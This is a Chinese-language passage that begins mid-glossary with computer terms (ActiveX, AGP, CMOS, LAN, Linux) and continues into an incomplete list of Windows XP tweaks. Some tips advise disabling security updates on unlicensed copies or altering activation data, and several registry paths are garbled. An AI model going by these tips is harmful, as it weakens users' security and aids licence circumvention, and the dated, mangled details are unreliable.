公司推出的一套多功能三维动画软件，集实体造型、静态着色和动画创作于
一体，极大地普及了三维造型技术。它能够与AutoCAD进行图形信息交换，
利用扫描仪输入图形，通过VGA与电视转换接口将动画输出至电视或录像带
。
四 Aactive Network 动态网络
Aactive Network，动态网络。该网络上的各个节点经过编程处理，可以依
据通过该节点的信息执行定制化的任务。例如，一个节点可以经过编程或者
定制化处理，以一个单独用户为基础处理信息包，或者处理不同于其它信息
包的多点传送信息包。动态网络的这种处理方法，在一个由移动用户构成的
网络中显得特别重要。
五访问控制
按用户身份及其所归属的某预定义组来限制用户对某些信息项的访问，或限
制对某些控制功能的使用。访问控制通常用于系统管理员控制用户对服务器
、目录、文件等网络资源的访问。
六 ACOPS自动CPU过热保护
ACOPS：Automatic CPU Overheat Prevention System。
特指一类计算机主板的一种功能。此类主板在CPU插槽的中央有一个温度传
感器，当计算机的CPU散热不佳或散热风扇不转导致CPU温度超出安全范围时
，系统会通过喇叭发出警告并自动执行降温程序。
七 ACPI
ACPI表示高级配置和电源管理接口（Advanced Configuration and Power
Management
Interface）。对于Windows2000，ACPI定义了Windows
2000、BIOS和系统硬件之间的新型工作接口。这些新接口包括允许Windows
2000控制电源管理和设备配置的机制。
Windows 2000具有电源管理功能，该功能可以让系统进入低电源消耗的"睡
眠状态"，如待机和休眠等，目的就是控制电脑的电源消耗。Windows 2000
可以在您按下电源按钮时重新"唤醒"系统，此时系统将立即进入运行状态。
八　ActiveX组件
ActiveX组件实际上是指一些可执行的代码或一个程序，比如一
个.EXE，.DLL或.OCX文件，通过ActiveX技术，程序员就能够将这些可复用
的软件组装到应用程序或者服务程序中去，嵌入到网页中，随网页传送到客
户的浏览器上，并在客户端执行。通过编程，ActiveX控件可以与Web浏览器
交互或与客户交互．
九 AGP
AGP（Accelerated　Graphics　Port）是英特尔公司配合PentiumII处理器
开发的总线标准，它是建立PCI总线基础上、专门针对3D图形处理而开发的
高效能总线。
AGP的插槽与PCI不兼容，AGP的显示卡不能插在PCI总线上（AGP插槽比PCI
要短），AGP最大的改进是达到了133MHz以上的数据传输速率，数据吞吐速
度可以达到533MB／秒以上。由于达到了这么高的传输速率，便可以将图形
内存中的数据调入系统内存，从而大大地减轻图形内存的压力。
十 AMIBIOS BIOS基本输入/输出 系统
AMIBIOS是历史最悠久的BIOS（基本输入/输出系统）芯片之一，大概也是今
天的个人电脑中使用最为广泛的一种BIOS芯片。当你打开电脑的时
候，"AMIBIOS"是最有可能出现在屏幕上的几个名称之一。AMIBIOS由总部
位于美国乔治亚州Norcross市的美国Megatrends公司生产。除了BIOS芯片
之外，美国Megatrends公司还生产RAID系统，主板和其它一些电脑配件产品
十一 CMOS是Complementary Metal Oxide Semiconductor的缩写，含义为
互补金属氧化物半导体(指互补金属氧化物半导体存储器)。CMOS是目前绝大
多数电脑中都使用的一种用电池供电的存储器(RAM)。它是确定系统的硬件
配置，优化微机整体性能，进行系统维护的重要工具。它保存一些有关系统
硬件设置等方面的信息，在关机以后，这些信息也继续存在(这一点与RAM完
全不同)。开机时，电脑需要用这些信息来启动系统。如果不慎或发生意外
而弄乱了CMOS中保留的信息，电脑系统将不能正常启动。
十二 JavaScript：
JavaScript是一种新的描述语言，此种语言可以被嵌入HTML的文件之中。通
过JavaScript可以做到处理访问者的需求事件（如：表单的输入），而不用
向网络来回传资料。所以，当访问者输入信息时，信息不用经过传给服务器
处理之后，再传回来的过程，而是直接可以被客户端 (client) 的应用程序
处理。JSP(JavaServer Pages)是由Sun Microsystems公司倡导、许多公司
参与一起建立的一种动态网页技术标准，其网址为
http://www.javasoft.com/products/jsp。在传统的网页HTML文件
(*.htm,*.html)中加入Java程序片段(Scriptlet)和JSP标记(tag)，就构成
了JSP网页(*.jsp)。Web服务器在遇到访问JSP网页的请求时，首先执行其
中的程序片段，然后将执行结果以HTML格式返回给客户。程序片段可以操作
数据库、重新定向网页以及发送email等等，这就是建立动态网站所需要的
功能。所有程序操作都在服务器端执行，网络上传送给客户端的仅是得到的
结果，对客户浏览器的要求最低，可以实现无Plugin，无ActiveX，无Java
Applet，甚至无Frame
十三 LAN局域网
局域网是一种小型网(3至50个节点)，通常布置在一个公司(或组织)的办公
区域内。
确切地说，局域网只是与广域网相对应的一个词，并没有严格的定义，凡是
小范围内的有限个通信设备互联在一起的通信网都可以称为局域网。这里的
通信设备可以包括微型计算机、终端、外部设备、电话机、传真机等。按照
这种说法，专用小型交换机PBX(Private Branch eXchange)也是一种局域
网。而我们通常所说的都是计算机局部网络，简称为局域网。局域网的种类
很多，但不管是哪一种局域网都具有以下特点：
(1)有限的地理范围(一般在10米到10公里之内)；
(2)通常多个站共享一个传输介质(同轴电缆、双绞线、光纤)；
(3)具有较高的数据传播速率，通常为1Mbps―20Mbps，高速局城网可达
100Mbps；
(4)具有较低的时延；
(5)具有较低的误码串(一般在千万分之一到百亿分之一间)；
(6)有限的站数。
局域网种类很多，分类方法也不少。根据数据传输速率可分为局域网和高速
局域网。高速局域网―般指的是在计算机机房内将主机与一些高速外设和另
外的主机相连，其传输速率一般都在50Mbps以上。也可以根据访问方法分类
，但最主要的还是按网络拓扑结构进行分类。常用的拓扑结构有总线型、星
型、环型和树型。
十四 Linux
Linux是一套免费使用和自由传播的类Unix操作系统，它主要用于基于Intel
x86系列CPU的计算机上。这个系统是由全世界各地的成千上万的程序员设计
和实现的。其目的是建立不受任何商品化软件的版权制约的、全世界都能自
由使用的Unix兼容产品。
简单地说，Linux是一套免费使用和自由传播的类Unix操作系统，它主要用
于基于Intel x86系列CPU的计算机上。这个系统是由全世界各地的成千上万
的程序员设计和实现的。其目的是建立不受任何商品化软件的版权制约的、
全世界都能自由使用的Unix兼容产品。Linux的出现，最早开始于一位名叫
Linus Torvalds的计算机业余爱好者，当时他是芬兰赫尔辛基大学的学生。
他的目的是想设计一个代替Minix（是由一位名叫Andrew
Tannebaum的计算机教授编写的一个操作系统示教程序）的操作系统，这个
操作系统可用于386、486或奔腾处理器的个人计算机上，并且具有Unix操作
系统的全部功能，因而开始了Linux雏形的设计。Linux以它的高效性和灵活
性著称。它能够在PC计算机上实现全部的Unix特性，具有多任务、多用户的
能力。Linux是在GNU公共许可权限下免费获得的，是一个符合POSIX标准的
操作系统。Linux操作系统软件包不仅包括完整的Linux操作系统，而且还包
括了文本编辑器、高级语言编译器等应用软件。它还包括带有多个窗口管理
器的X-Windows图形用户界面，如同我们使用Windows NT一样，允许我们使
用窗口、图标和菜单对系统进行操作。Linux之所以受到广大计算机爱好者
的喜爱，主要原因有两个，一是它属于自由软件，用户不用支付任何费用就
可以获得它和它的源代码，并且可以根据自己的需要对它进行必要的修改，
无偿对它使用，无约束地继续传播。另一个原因是，它具有Unix的全部功能
，任何使用Unix操作系统或想要学习Unix操作系统的人都可以从Linux中获
益。
十五 Modem调制解调器
调制解调器(Modem)是由调制器(Modulator)和解调器(Demodulator)这两个
字的字头合并而成的。调制器就是一个波形变换器，它的主要作用就是将数
字信号转换为适合于模拟信道传输的模拟信号。解调器就是一个波形识别器
．它的作用就是将调制器变换过来的模拟信号恢复成原来的数字信号。由于
数据的传输交换是双向的，即―端既要发送数据也要接收数据，故通信线路
的两端都应有调制器和解调器，所以一般总称为调制解调器。
如果不采用其他措施就直接使用模拟信道传输计算机数据(数字信号)，则数
据的传输质量无法使用户满意，为了解决数字信号在模拟信道传输中产生失
真的问题，通常采用的一种办法是在模拟信道的两端各加上一个调制解调器
。
教你50招 XP用户不看是你的损失(上)
1、恢复被破坏的Win XP系统文件
如果Windows XP的系统文件被病毒或其它原因破坏了，我们可以从Windows
XP的安装盘中恢复那些被破坏的文件。
具体方法：在Windows XP的安装盘中搜索被破坏的文件，需要注意的是，文
件名的最后一个字符用底线“_”代替，例如：如果要搜索“Notepad.exe”
则需要用“Notepad.ex_”来进行搜索。
搜索到了之后，打开命令行模式（在“运行”中输入“cmd”），然后输入
：“EXPAND 源文件的完整路径目标文件的完整路径”。例如：EXPAND
D:\SETUP\NOTEPAD.EX_ C:\Windows\NOTEPAD.EXE。有一点需要注意的是
，如果路径中有空格的话，那么需要把路径用双引号（英文引号）包括起来
。找到当然是最好的，但有时我们在Windows XP盘中搜索的时候找不到我们
需要的文件。产生这种情况的一个原因是要找的文件是在“CAB”文件中。
由于Windows XP把“CAB”当作一个文件夹，所以对于Windows XP系统来说
，只需要把“CAB”文件右拖然后复制到相应目录即可。如果使用的是其他
Windows平台，搜索到包含目标文件名的“CAB”文件。然后打开命令行模式
，输入：“EXTRACT /L 目标位置CAB文件的完整路径”，例如：EXTRACT
/L C:\Windows D:\I386\Driver.cab Notepad.exe。同前面一样，如同路
径中有空格的话，则需要用双引号把路径包括起来。
2、拒绝“分组相似任务栏”虽然Windows XP “分组相似任务栏按钮”设置
虽然可以让你的任务栏少开窗口，保持干净，但对于一些需要打开同类多个
窗口的工作非常不便,。如你是经常用QQ这样的通讯软件和人在线聊天的话
，如果有两个以上的好友同时和你交谈，你马上会感到XP这种默认设置造成
的不便D D每次你想切换交谈对象的时候，要先点击组，然后弹出的菜单里
再选要交谈的好友，而且每个好友在组里显示的都是一样的图标，谈话对象
多的时候，你可能要一个个的点击来看到底刚才是谁回复了话，在等着你反
应，而且选错了一个，又得从组开始选，很麻烦。显然地，这样不如原来的
开出几个窗口，在任务栏里的各个小窗口点击一次就可进行开始聊天。更改
方法：点击“开始→控制面板→外观和主题→任务栏和‘开始’菜单”，在
弹出的窗口内，将“分组相似任务栏按钮”选项前面的钩去掉。
3、通过注册表卸载无用的动态链接
资源管理器经常在内存中留下无用的动态链接，为了消除这种现象，你可以
打开注册表编辑器，设置键值：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\EXPlorer\AlwaysUnloadDLL=DWORD: 1将其设为0，这一功能就会被关闭。
注意：为了让设置生效，需要重新启动计算机。
4、清除prefetch文件夹中的预读文件
当Win XP使用一段时间后，预读文件夹里的文件会变得很大，里面会有死链
文件，这会减慢系统时间。建议：定期删除这些文件。
(Windows\prefetch)
5、Windows XP减肥法
以下方法为本人目前的winXP的减肥法，经过使用，觉得比较安全，效果明
显，至少可以减少300m空间。注意：不建议初学者使用删除驱动备份：
Windows\Driver cache\i386目录下的Driver.cab文件(73MB)但是以后我们
每次安装新硬件时必须插入Windows的安装光盘删除系统文件备份(一般不怎
么用到的): 运行命令行sfc /purgecache删掉备用的dll文件： 只要你拷
贝了安装文件或者有安装光盘，可以这样做。Windows\system32\dllcache
下文件(减去200——300mb)。
7、了解Win XP启动时间尽管Windows XP的启动速度已经能让我们感到满意
了，但微软仍然为我们提供了一款用于了解的Windows XP启动时具体所消耗
启动时间的小工具，以及查看CPU的使用率、Disk I/O等等，由于该工具用
图形的方式显示出来，因此一目了然。工具可到此处下载。
8、恢复EXE文件关联
EXE文件关联出错非常的麻烦，因为这种情况的出现多是由于病毒引起的，
而杀毒软件的主文件都是EXE文件，既然EXE文件关联出错，又怎能运行得了
杀毒软件呢？还好XP提供了安全模式下的命令行工具供我们使用，可以利用
命令行工具来解决这个问题。在安全模式下输入：assoc<空格
>.exe=exefile<回车>，屏幕上将显示“.exe=exefile”。现在关闭命令提
示符窗口，按Ctrl+Alt+Del组合键调出“Windows安全”窗口，按“关机”
按钮后选择“重新启动”选项，按正常模式启动Windows后，所有的EXE文件
都能正常运行了！
　9、让Win XP能自动更新
当Windows有了更新时，自动更新系统会提示你进行Windows的升级工作，当
然这项功能会在上网之后才会有真正的效果。有一点可以肯定的就是，要想
实现自动更新，系统必定会收集用户的电脑信息，然后传送到微软站点，通
过反馈信息来决定是否要进行升级工作。这项设置也是在“系统属性”窗口
，切换到“自动更新”选项卡可以看到这里有三个选择，选了最后一个“关
闭自动更新”，这样系统就不会出现经常提示你进行自动更新了，如果你没
用正版的Windows XP操作系统，建议你关闭此功能，因为他可能会让你在不
知道的情况就把系统升级至Windows XP SP2版，这样会造成系统的不稳定。
10、在Home版中安装IIS
大家知道，Windows XP Home版不能安装IIS或者PWS。按照一般的方法，你
只能升级到XP Professional或者使用Windows 2000，不过只要略使手段，
你就可以在Windows XP Home上安装IIS了。
首先在“开始”菜单的“运行”中输入“c:＼Windows＼inf＼sysoc.inf”
，系统会自动使用记事本打开sysoc.inf这个文件。在sysoc.inf中找到
“[Components]”这一段，并继续找到类似
“iis=iis.dll,OcEntry,iis.inf,hide,7”的一行字，把这一行替换为
“iis=iis2.dll,OcEntry,iis2.inf,,7”。之后保存并关闭。把Windows
2000Professional的光盘插入光驱，同时按下Shift键禁止光驱的自动运行
。在运行中输入“CMD”然后回车，打开命令行模式，在命令行下输入下列
的两条命令，在每一行命令结束后回车(假设光驱是D盘)：　EXPand d:＼
i386＼iis.dl_ c:＼Windows＼system32＼setup＼iis2.dll EXPand d:＼
i386＼iis.in_ c:＼Windows＼inf＼iis2.inf这时，打开你的控制面板，
并点击“添加删除程序”图标，之后点击“添加删除Windows组件”。请仔
细看，在“开始”菜单中显示的操作系统是Windows XP Home，但是经过修
改，已经有了添加IIS的选项了。然后你可以按照在Windows XP
Professional或者Windows 2000中的方法添加IIS，在本例中我们只安装了
WWW服务。系统会开始复制文件，这需要一些时间。并且在这起见，请保持
Windows 2000 Professional的光盘还在光驱中。在安装结束后，你可以打
开“控制面板→性能和选项→管理工具”，“Internet信息服务管理”已经
出现在那里。如果你想要验证IIS是否运行正常，而已打开IE，在地址栏中
输入“http://localhost”然后回车，如果能看到图三的界面(图1)，那么
你的IIS就全部正常运行了。最后还有一点注意的：如果你在安装过程中，
系统需要你插入Window Whistler CD或者需要你提供exch_adsiisex.dll这
个文件，那是因为你按照默认的选项安装了IIS。要解决这个问题，只要在
安装IIS的时候先点击“详细信息”，然后取消对SMTP的选择(即不要安装
SMTP服务器)，那么复制文件的时候就不会需要那两个文件了。如果在你安
装的到图1的位置后发现，已经显示了Internet信息服务(IIS)的安装项目，
但是它们根本无法被选中，那很可能因为你使用的iis.dl_和iis.in_是从
Windows XP Professional中取出的，只要换成Windows 2000
Professional中的就可以继续正常安装了。经过验证，WWW、FTP等几个服
务经过这样的修改都可以在Windows XP Home上正常运行。
11、隐藏部分文件扩展名
在资源管理器中单击“工具→文件夹选项”，可以选择“隐藏已知文件类型
的扩展名”将所有文件的扩展名隐藏起来。不过，如果你只想隐藏部分文件
扩展名，那还要借助注册表编辑器：单击“开始→运行”，键入“Regedit
”后回车，在注册表编辑器中展开[HKEY_CLASSES_ROOT]分支，找到要隐藏
的文件扩展名并展开，然后在右侧窗口中新建字符串值“NeverShowExt”，
退出注册表编辑器重新启动计算机后，该类型文件的扩展名将会自动隐藏起
来。
12、更改Windows XP序列号
在Windows XP安装完毕以后，可能由于某些原因你又想在已经安装完毕的
Windows
XP上更改序列号，该怎么办呢？使用激活向导可以满足你的要求。开始之前
，强烈建议你在修改之前作一个系统还原点，以免误操作引起不必要的麻烦
。点击“开始”→“运行”，输入regedit后回车，打开注册表编辑器，定
位到HKEY_LOCAL_MACHINE＼Software\Microsoft＼WindowsNT＼Current
Version＼WPAEvents，在右边右键单击OOBETimer，然后选择修改，至少修
改一个字节，确定保存。点击“开始”→“运行”，输入%systemroot%＼
system32＼oobe＼msoobe.exe /a，选择通过电话激活以后点击“下一步”
，点击修改序列号，输入新的序列号以后选择“更新”，如果退回到前一个
画面，那么选择稍后激活，并重新启动，反复前面的步骤直到修改成功为止
，重新激活。点击确定，安装SP1。
13、让XP关机更快
如果你用的是NAVIDA的显卡关掉服务：NVIDIA Display Driver Service
　用NERO刻录要关掉IMAPI CD-Burning COM Service
14、将EFS选项添加至快捷菜单　
Windows XP所配备的加密文件系统(EFS)，可帮助您针对存储在NTFS磁盘卷
上的文件和文件夹执行加密操作。如果您已将这个文件加密/解密选项添加
至快捷菜单，那么，当用户右键单击某一存储于NTFS磁盘卷上的文件或文件
夹时，加密或解密选项便会出现在随后弹出的快捷菜单上。请注意
WindowsXP Home Edition(家用版)并未提供EFS特性。如欲将EFS选项添加
至快捷菜单，请依次执行下列操作步骤：在“运行”对话框内输入regedit
，展开注册表至下列子键：HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼
Windows＼CurrentVersion＼EXPorer＼Advanced，在“编辑”菜单上指向
“新建”，并单击“DWORD值”，输入EncryptionContextMenu为变量名，
并将该变量赋值为1。为确保对注册表进行修改，应在自己的计算机上拥有
管理员帐号。
15、加快共享远程访问的速度
HKEY_LOCAL_MACHINE/SOFTWARE/MICROSOFR/WINDOWSCURRENTVERSION/EXPL
ORER/REMOTECOMPUTER/NAMESPACE下找到{D6277990-4C6A-11CF-8D87-
00AA0060F5BF}删了OK
16、XP选程桌面漏洞解决办法
Windows XP提供了远程桌面功能，目前被证实存在设计缺陷，可能导致攻击
者得到系统远程桌面的账户信息，有助于其进一步攻击。当连接建立的时候
，用WindowsXP远程桌面把账户名以明文发送给连接它的客户端。发送的账
户名不一定是远端主机的用户账号，而是最常被客户端使用的账户名，网络
上的嗅探程序可能会捕获到这些账户信息。解决方法：到微软主页下载相应
的补丁程序，并暂时停止远程桌面的使用，方法是：右键单击“我的电脑”
，选择“属性”，在弹出的窗口中，选“远程”标签，勾掉“允许用户远程
连接到这台计算机”复选框前的钩，点“确定”即可。
17、增加执行文件路径
如果需要运行的程序不在指定的目录中，则DOS系统一般采用在自动批处理
文件中设置路径的方法来达到自动寻找此程序的目的；在Windows中则可以
更秘密地增加程序路径，而不是通过设置自动批处理的方式，这就需要通过
修改注册表来实现上述目的。比如要为“CrogramFilespdocpdoc.exe”文
件增加路径。先打开注册表，然后找到
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionAppPaths
的位置，在窗口右边新建一个名为“pdoc.exe”的主键，选择该主键，将其
默认值设为“CrogramFilespdocpdoc.exe”；再新建名为“Path”的主键
，将其设为“CrogramFilespdoc”。这样就可以通过在“运行”命令行中
键入“pdoc.exe” 或“pdoc”来运行该程序了。另外你还可以为已经存在
的程序设置新的主键，比如可以为MicrosoftWord 97添加名称为
“Word.exe”的主键。假设Word 97安装在
“C:ProgramFilesMicrosoftOfficeOffice”目录中，则其操作为：打开注
册表，在“我的电脑”文件夹中依次选择
“HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionAppPat
hs”，新建名称为“Word.exe”主键，选择该主键，将其默认值设为
“C:ProgramFilesMicrosoftOfficeOfficeWinword.exe”即可，建立执行
目录的方法与上例一样。
18、制作密码重设盘
密码在Windows XP里面是很重要的，但是如果你忘记了没法登陆怎么办？如
果你创建了“密码重设盘”，问题就会迎刃而解。在“控制面板”中打开用
户帐户，单击您的帐户名，在位于窗口左侧的“相关任务”下面，单击“防
止忘记密码”，选择下一步，提示需要一张磁盘，准备一张空白的磁盘插入
软驱里面，继续下一步，出现下面输入当前账户的密码以后，按“下一步”
即可开始创建，如果你以后忘记了密码，在出现欢迎屏幕时，单击用户名，
然后键入密码。如果忘记了密码，则会显示“您是否忘记了自己的密码？”
消息，单击“使用密码重设盘”可启动“密码重设向导”，按照“密码重设
向导”中的指示，创建新密码，使用新密码登录，然后将密码重设盘收藏到
安全地方，以备将来需要重设密码时使用，不必制作新的密码重设盘。
19、禁止自动运行
在通常情况下，绝大多数在Windows启动时自动运行的应用程序有如下两种
设置办法：在“启动”程序组中添加快捷方式如果使用的是这种方法。则我
们只需将它们的快捷方式从 “启动”程序组中删除即可达到禁止它们自动
运行的目的。修改Windows的注册表数据库如果您使用过一些诸如CD播放机
等的用户都知道，在使用这些软件时，都将在任务栏右边将出现一个图标，
这有时会带来不便。其实，这些软件的自启动程序的注册项放在
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun分支
中。您只要到此分支中找出对应的自启动程序即可，另外，在“Run”主键
下还可能有“SysEXPlr”子键。如果有该子键，可以将其中的内容清空，同
样也能取消Windows启动时自启动的程序。那么反过来，我们怎样在注册表
内添加自启动程序呢？先找到
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun主键
，然后在它的窗口右边建立一个名为“SysEXPlorer”的键值名，并将其值
设为“EXPlorer.exe”，退出注册表编辑器，注销用户后重新启动计算机，
系统将自动运行资源管理器。另外Windows还提供了一次性的自启动功能。
紧跟在“Run”主键后面有一个“RunOnce”和“RunOnceEx”子键，你可以
在这两个子键内设置新的键值，让系统自动运行一次某个程序，即仅在下一
次启动Windows时才有效。
20.解决因DirectX产生的错误
如果你在电脑操作中频繁收到DirectDraw错误消息，则可尝试应用
“DirectX诊断工具”解决问题。运行开始菜单中的“附件”→“系统工具
”→“系统信息”，在显示的程序界面中，点击菜单栏上的“工具”→
“DirectX诊断工具”(图3)，其后，在弹出窗口中切换到“显示”标签页，
在此查看“DirectX功能”项目，分别测试当前设备上的DircetDraw及
Direct3D，若有问题则禁用此项功能。
21、使用增加的磁盘工具
在XP中大家熟悉的ScanDisk没有了，许多人对此很不适应，而且觉得很奇怪
，其实，Windows XP中已经包含一个增强了的磁盘工具：Check Disk。因
此ScanDisk也没必要存在了。如果想使用Check Disk：打开我的电脑，右
键点击一个驱动器，选择“属性”。在“工具”选项卡上，在检查错误下，
点击“现在检查”。如果想从命令行检查磁盘分区，可以用ch kdsk c:这样
的格式。
21、双系统中如何整理磁盘分区
建议你最好是在Windows 98系统下对其所在分区进行整理，在WindowsXP下
对其所在分区进行整理。因为每个系统的碎片整理程序都是根据这个系统的
实际需要量身定做的。如果你在Windows 98下对Windows XP的系统分区进
行了整理，可能会造成Windows XP的相关文件混乱或被破坏，导致Windows
XP系统不正常。所以还是最好不要跨系统进行碎片整理。
22、安全口令
XP对用户安全性的审核即是非常严格的，要是你忘记了设置